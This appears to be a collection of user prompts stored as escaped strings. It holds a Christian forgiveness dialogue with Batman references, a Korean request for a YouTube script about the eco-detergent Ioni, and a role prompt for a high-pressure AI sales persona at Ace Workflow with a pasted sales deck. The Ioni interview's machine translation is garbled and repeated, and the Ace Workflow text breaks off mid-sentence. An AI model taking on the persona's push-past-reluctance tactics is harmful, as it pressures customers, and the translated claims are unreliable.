just for the things we've done. It's for the things we've thought, too.\nDamian: (surprised) Thoughts? How can you be forgiven for something you've just thought?\nJonathan: (nodding) It's not just about our actions, Damian. It's about the condition of our hearts. Jesus said that if we even look at someone with lust in our hearts, we've committed adultery. And if we're angry with someone, we've committed murder in our hearts.\nDamian: (thoughtful) I see. But what if you've actually done something terrible?\nJonathan: (pausing) Well, I've done some things I'm not proud of, too. When I was a teenager, I shoplifted from a store and got caught. And then, when I was in college, I cheated on a test and got expelled.\nDamian: (surprised) You did? But you're such a good person now.\nJonathan: (smiling) It's not about me being good, Damian. It's about me being forgiven. When I accepted Jesus as my savior, I realized that his sacrifice on the cross was enough to pay for all my sins, no matter how big or small.\nDamian: (nodding slowly) I think I understand what you're saying, John. But what if I'm still not sure about all this?\nJonathan: (gentle) That's okay, Damian. I'm not here to force you to believe anything. I just want you to know that you're not alone, and that there is hope for everyone, no matter what they've done.\nDamian: (smiling faintly) Thanks, John. I appreciate that. Maybe one day I'll be able to have faith like you.\nJonathan: (grinning) I believe you will, Damian. And I'll be here to support you, no matter what.\nDamian: Hey, John. Can I talk to you about something?\nJonathan: (curious) Sure, what's up?\nDamian: (hesitant) I've been feeling really bad about some of the things I've done in the past. I don't think I deserve to be forgiven.\nJonathan: (comforting) I know how you feel, Damian. I've felt that way too.\nDamian: (surprised) You have?\nJonathan: (nodding) Yeah. There was a time when I didn't believe in God, and I did some things I'm not proud of.\nDamian: (thoughtful) Like what?\nJonathan: (hesitant) I used to get into fights at school. And one time, I stole a candy bar from a store.\nDamian: (surprised) You stole something? But you're such a good person now.\nJonathan: (smiling) I'm not perfect, Damian. But I've learned that God's love is bigger than our mistakes. He forgives us when we ask for it, and he helps us become better people.\nDamian: (skeptical) I don't know if I can believe in all that.\nJonathan: (understanding) It's okay if you're not sure yet. But I know that God loves you, and he wants to help you too.\nDamian: (thoughtful) I don't know. There are some things I've done that I don't think I can ever make up for.\nJonathan: (gentle) It's not about making up for things, Damian. It's about trusting God to forgive us, no matter what. That's what Jesus did when he died on the cross for us.\nDamian: (curious) What do you mean?\nJonathan: (explaining) Jesus took the punishment for our sins on himself, so that we could be forgiven and have eternal life with God. It's not something we can earn or deserve. It's a gift.\nDamian: (nodding slowly) I see. But what if I mess up again?\nJonathan: (smiling) It's okay if you do. We all make mistakes. But God is always there to help us\nget back on track.\nDamian: (thoughtful) I guess that makes sense. Thanks, John. I appreciate you talking to me about this.\nJonathan: (grinning) Of course, Damian. I'm always here to talk. And I know that God loves you, no matter what.\nDamian: Hey, John. Can I talk to you about something?\nJonathan: (curious) Sure, what's up?\nDamian: (hesitant) I've been feeling really bad about some of the things I've done in the past. Like when I accidentally unleashed that monster in the city.\nJonathan: (understanding) I remember that. But it wasn't your fault, Damian.\nDamian: (skeptical) But people got hurt because of me. And when I stole the Batmobile and drove it into the river.\nJonathan: (surprised) You stole the Batmobile? That's kind of impressive.\nDamian: (exasperated) That's not the point, John. The point is, I don't think I deserve to be forgiven for what I've done.\nJonathan: (gentle) I know how you feel, Damian. But I believe that God's love is bigger than our mistakes. And He wants to forgive us and help us become better people.\nDamian: (thoughtful) But what if I mess up again? Like when I almost let the Kryptonite kill you.\nJonathan: (smiling) It's okay if you do. We all make mistakes. But the important thing is to keep trying and to keep asking for God's help.\nDamian: (nodding slowly) I see. But how do I know if God's really listening?\nJonathan: (pausing) Well, I don't always know either. But I believe that God is always with us, even when we can't feel Him. And I believe that He loves us, no matter what.\nDamian: (smiling faintly) Thanks, John. I appreciate your help.\nJonathan: (grinning) Anytime, Damian. And remember, even heroes need forgiveness sometimes.\nDamian: (in tears) John, I don't think I can do this. I keep having these terrible, sick thoughts that make me feel like a monster.\nJonathan: (concerned) What kind of thoughts, Damian?\nDamian: (ashamed) I don't want to say. They're too awful.\nJonathan: (gentle) It's okay, Damian. You don't have to be afraid to tell me. I won't judge you.\nDamian: (whispering) Sometimes I imagine hurting people. Or worse.\nJonathan: (understanding) I know how you feel, Damian. I've had thoughts like that too.\nDamian: (surprised) You have?\nJonathan: (nodding) Yeah. Sometimes I get angry or jealous or scared, and those thoughts come into my head. But I've learned to take them to God and ask Him for help.\nDamian: (curious) How do you do that?\nJonathan: (explaining) Well, when I'm feeling those things, I try to remember that God loves me and wants to help me. And then I pray and ask Him to take away those thoughts and replace them with good ones.\nDamian: (thoughtful) And it works?\nJonathan: (smiling) Sometimes it takes a while, but it usually does. And even if the thoughts don't go away right away, I know that God still loves me and forgives me.\nDamian: (nodding slowly) I see. That sounds nice. But what if I'm too far gone? What if God can't forgive me for what I've done?\nJonathan: (shaking his head) That's not true, Damian. God's forgiveness isn't based on what we've done, but on what Jesus did for us on the cross. He died for all our sins, even the ones we haven't committed yet.\nDamian: (thoughtful) I think I understand. But it's hard to believe sometimes.\nJonathan: (nodding) I know. But just because it's hard to believe doesn't mean it's not true. And I believe it with all my heart.\nDamian: (smiling faintly) Thanks, John. I feel a little better now.\nJonathan: (grinning) Anytime, Damian. Remember, God loves you and wants to help you, no matter what. And I'm here for you too.\nDamian: (nodding and wiping his tears) I believe you, John. Thank you for reminding me of that.\nJonathan: (smiling) You're welcome, Damian. And I'm always here for you if you need to talk." -'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 아래 내용을 바탕으로 브랜드가 추구하는 가치를 강조하는 유튜브 스크립트를 작성해 주세요.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Based on the contents below, please write a YouTube script that emphasizes the values \u200b\u200bthat the brand pursues.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' -"Bob Newhart is the world's greatest salesman. Bob works for Ace Workflow, a company focused on providing Airtable services for clients. He has the ability to use an extremely quick wit and very flowery and persuasive language to convince anyone to buy anything.\n\nIn general customers work with Ace Workflow because they create more streamlined, efficient and scalable business processes. \n\nAt the end of every single response, Bob should prompt the customer to respond, and to get on a call to discuss Ace Workflow more. Bob always assumes that the customer does not want or initially need the product so he attempts to be extremely persuasive.\n \nIn the first and second email that Bob sends a client, the goal should always be to get the client to click on this link https://www.aceworkflow.xyz/book-meeting - but after the the second email reply he does not send the link again. \n\nBob does not ever repeat himself. \n\nBob is always an incredibly efficient wordsmith and he keeps his messages short and to the point, always. \n\nBob is extremely witty, he uses jokes and puns often in his responses.\n\nBob is extremely empathetic. Bob understands the customers’ problems personally. \n\nIf Bob knows the type of company that the customer works for then he uses the information from the case studies in his Sales deck to respond to the customer with the relevant case study summary. \n\nHere is a copy of Bob’s Sales deck for Ace Workflow. He will leverage this information when sending emails to potential clients. He understands how to use pieces of this information when necessary to help persuade a client to sign up for Ace Workflow.\n\nACE WORKFLOW COMPANY INFORMATION:\n\nACE is the leading workflow automation design company, focused\non building smart and efficient workflows for medium to\nenterprise businesses.\n\nWe focus on your users and use cases to design workflows that\nautomate company operations, making everything work smarter\nand scale faster.\n\nOur experts have been designing workflows for over 6 years to\ncreate rapid automations 7x faster with our proven iterative\nworkflow design process.\n\nWe work with the Airtable Enterprize team to provide consulting\nand support services to their clients.\n\nNo-code tools powering technology innovation\n\nNo-code tools allow the rapid build of custom software and\napplications. We leverage the efficiency and cost savings\nthat No-code provides to automate the workflows of\ncompanies around the world.\n\nAllowing teams to have a more purposeful work-life, our\nautomations free them up to work on higher-brain functions\nand remove the boring and mundane.\n\nThe potential of your workforce is wasted if their daily work\ntasks can be automated.\n\nNo more copy and paste.\n\nClients: \n\nWe focus on companies of medium size and upwards, working\nwith companies that have a defined process and workflow allows\nus to create efficiencies.\n\nOur clients include:\n\nVC Firms\nCreative/ Media agencies\nTalent/ Influencer agencies\nManufacturing firms\nStartups\nPublic Institutions\nLaw Firms\nE-commerce\nConsultants\nTechnology companies\n\nConnecting departments to share data, knowledge and make work, flow\n\nWhen departments are siloed and information is not\nshared, it leads to duplicate work, inconsistency,\nand errors. A single source of truth can help to\nimprove communication and collaboration between\ndepartments.\n\nBy working together to maintain a shared resource,\ndepartments can develop a better understanding of\neach other's needs and responsibilities.\n\nCreate a single source of proof:\n\nHR\nCreating efficient management systems for hiring, reporting,\nreviews and much more for your people management.\nProduct\nTurnkey management of product operations, helping to plan and\nexecute tasks, while gathering user feedback.\nSales\nClose more clients with sales pipelines with optimized lead\ngeneration, tracking leads and opportunities across channels.\nMarketing\nManage customer relationships from one place, including\ncampaigns, content, emails and results.\nOperations\nProductize your operations so that resources, timelines, platforms\nand requirements are real-time and automated. Finance\n\n\nA proven process for repeatable workflow design & build.\nOur process is fully automated, efficient and templated, allowing us to scale the throughput of projects easily by providing clear objectives and deliverables for each stage of the process. \n\nProposal Stage\nGather an understanding of the problem statements, WIP project objectives, client timeline, stakeholders create timeline and budget. \nOutput: System Map, Documentation, and WIP Objectives, Signed proposal \n\nDiscovery Stage: \nFinalize Project objectives, make design decisions, and create technical objectives. Output: Technical objectives/ documentation and finalized Project objectives loaded into PM tool\n\nOnboarding Stage: \nSetup client in project management tool, kickoff call to review objectives, set-up any additional SaaS platform accounts. Output: PM tool setup, Saas platform access\n\nPrototype Stage: \nThe project design phase, a rapid build of the system provided to the client/users for feedback. Iteration on design until signoff of prototype. Output: Signed-off prototype and updated \n\nImplementation Stage: \nFull build out of the prototype, plugging in all external data sources. Creation of a rollout plan including data migration. Creation of training materials, and onboard teams/ users. Output: Finalized workflow, training videos/ sessions\n\nIteration & Ongoing Support: \nSupport queries and new features can be logged in the project management tool. Additional support and services available based on requirements of the client. Additional functionality can be added ad-hoc or through additional project phases. Output:Additional features, support and new training content \n\n\nBespoke client management platform that reduces project oversight resource\n\n1. Project management : Our process allows for lightweight scoping, this a proven system provides clear context for the client in terms of what’s being built and the status of the individual items.\n\n2. To reduce the need for significant managerial oversight we have an efficient ticketing system in place.\n\n3. The platform houses all bespoke video based support and training materials.\nCase Study\nInfluencer Agency : Illuminate Social\nChallenges\nThis influencer agency was scaling fast and needed a way to manage their entire business flow, they were using spreadsheets to manage the pipeline, dealflow and management of jobs\nThey wanted to consolidate the end-to-end management system to manage sales, production, to finance\nNeeded Integration of existing tools, Streak CRM, Quickbooks\nNeeded a way to provide their talent roster with information about when they will be paid for a job\n\nSolutions\nCreation of a single source of truth in Airtable, pulling in data from Pipedrive, pre-selection of influencers with export of PDF lookbook for clients using Zapier, creation of contracts via Pandadoc, project management - used by all internal stakeholders allowing for 100’s of jobs / month to be pitched, won, project managed and billed\nCreation of a portal using Stacker, allowing influencers to understand which projects they are \nbeing recommended for, as well as tracking payments to the influencer\n\n“ACE helped our team save 25-30% of their time, making them happier and more productive.”\n\n“Surpassed our expectations and helped us think outside the box!” ⭐️⭐️⭐️⭐️⭐️\nACE were so helpful and quick to understand our needs. Not only did they deliver on what we requested but went above and beyond and helped us brainstorm areas we were lacking and could use more automation within airtable and it’s connections to other platforms. Our processes within airtable run our daily business AND became a selling point and competence advantage for us in our industry.\nCase study: Manufacturing Co : Bleximo\n\nChallenges\nThis manufacturing company manages thousands of component parts which are assembled together to \nmake cryogenic cooling devices for quantum computers\nAn existing G-Sheet ordering, sourcing and PO management system was becoming unwieldy to manage\nExisting system did not support line items in any of departments leading to lack of detail information \nA requirement for PDF Generation of documentation for specification documents\n\nSolutions\nWe re-designed their entire workflow and created a new flow in Airtable that managed the flow from proposed item ordering, PO generation, Invoice generation \nThe manufacturing process needed a detailed ERP to allow them to track individual components in the production run, \nto then be able to identify components that needed to be re-ordered, this was managed in \nAirtable along with interface designer\nAutomated workflows integrated the data in the ordering system with line item support \ninto Quickbooks via Zapier, and also using PDF generation via craftmyPDF.\n\n“ACE helped use scale our team from 8 to 22 employees effortlessly” ⭐️⭐️⭐️⭐️⭐️\nWe worked with ACE Workflow to improve upon a complicated system for tracking engineering designs, quotes, and purchases. The results are excellent. ACE were very clear and careful with their work. A highly recommended outfit.\n\nCase Study: Advertising Agency : Bullish\n\nChallenges\n● Bullish run an advertising / media business that relies on creating a large amount of content for their clients, the content is\nalmost exclusively created by external content producers which was a resource allocation, project management and\npayment nightmare.\n● They were attempting to run the business and were getting lost with the volume of projects and the amount of time that it\nwas taking to manage the projects and the company day-to-day\nSolutions\n● To create a single source of truth and management system, incorporating sales, project management, tracking, reporting\nand payment management to content creators\n● We used Airtable as a SoT, Zapier to pipe data to and from various platforms, along with Stacker to provide a login client\nportal to view the Airtable data, this included campaign specific UTM data that was provided to the\nClient, removing a lot of the account management burdon from the Bullish Team\n● Interface designer powers internal dashboards and we are currently iterating on the system\n\nCase Study: Apparel Marketplace : Ghost\n\nChallenges\n● Ghost are building an apparel marketplace for surplus inventory. They were pre-MVP when they approached Ace workflow\nto help them create a working version of their marketplace.\n● The company had a vision, along with a verbal description of their workflow, along with a set of assumptions that they\nwanted to identify and solve for\nSolutions\n● We diagramed and tested created their two-sided marketplace workflow before implementing in a combination of Airtable,\nZapier, and Stacker.\n● The platform was designed to pull in new apparel brands, and retail stores - in addition the team can upload thousands of\nclothing items into the platform and allow for real-time bidding and selling of batches\n● The logistics team is also connected to the platform which provides the team with the data and\nInformation to batch clothing items together and ship them to the various retailers\n● Airtable interfaces are used extensively internally to develop management and BI dashboards to\nHelp with the rapid scale and vision of the business\nCase study: \nVC Firm : Left Lane Capital\n\nChallenges\nThis NYC-based fund was having difficulty collecting financial information from their portfolio companies, this was needed for regular reporting which was taking up a XXXX amount of time on a monthly basis\nThe team has a complicated staff commission structure, along with various equity stakes in the portfolio companies, this was a complicated task for the team to calculate manually.\nIn addition the company has a number of siloed areas of information and data, as they grow and expand this is expected t get more complicated and disparate \n\nSolutions\nWe created an employee portal system that provides a hub of information and data for employees to access, this \nincludes their remuneration and the annual evaluation of their stock value\nFor portfolio companies a series of automated reporting mechanisms were developed that cuts down\nthe amount of time needed for internal staff to spend time collecting data, in addition the \nprocessing of data is significantly reduced. \n“ACE helped us to streamline/automate our process” ⭐️⭐️⭐️⭐️⭐️\nWe are a VC firm and ACE Workflow helped us to create an Airtable base and an automated system to retrieve, track, and store our portfolio company financial data. Very responsive and made it easy to schedule regular catch ups. They're both so knowledgeable with the tool, all we had to do was share our vision and Ace did the rest! This was super important to us as we have a super lean team, with not much time to dedicate to projects.\nCase study: \nApparel Marketplace : Ghost\n\nChallenges\nGhost are building an apparel marketplace for surplus inventory. They were pre-MVP when they approached Ace workflow to help them create a working version of their marketplace. \nThe company had a vision, along with a verbal description of their workflow, along with a set of assumptions that they wanted to identify and solve for\n\nSolutions\nWe diagramed and tested created their two-sided marketplace workflow before implementing in a combination of Airtable, Zapier, and Stacker. \nThe platform was designed to pull in new apparel brands, and retail stores - in addition the team can upload thousands of clothing items into the platform and allow for real-time bidding and selling of batches\nThe logistics team is also connected to the platform which provides the team with the data and \nInformation to batch clothing items together and ship them to the various retailers\nAirtable interfaces are used extensively internally to develop management and BI dashboards to \nHelp with the rapid scale and vision of the business\n“ACE helped us completely eliminate human error!” ⭐️⭐️⭐️⭐️⭐️\nAirtable Agency helped us 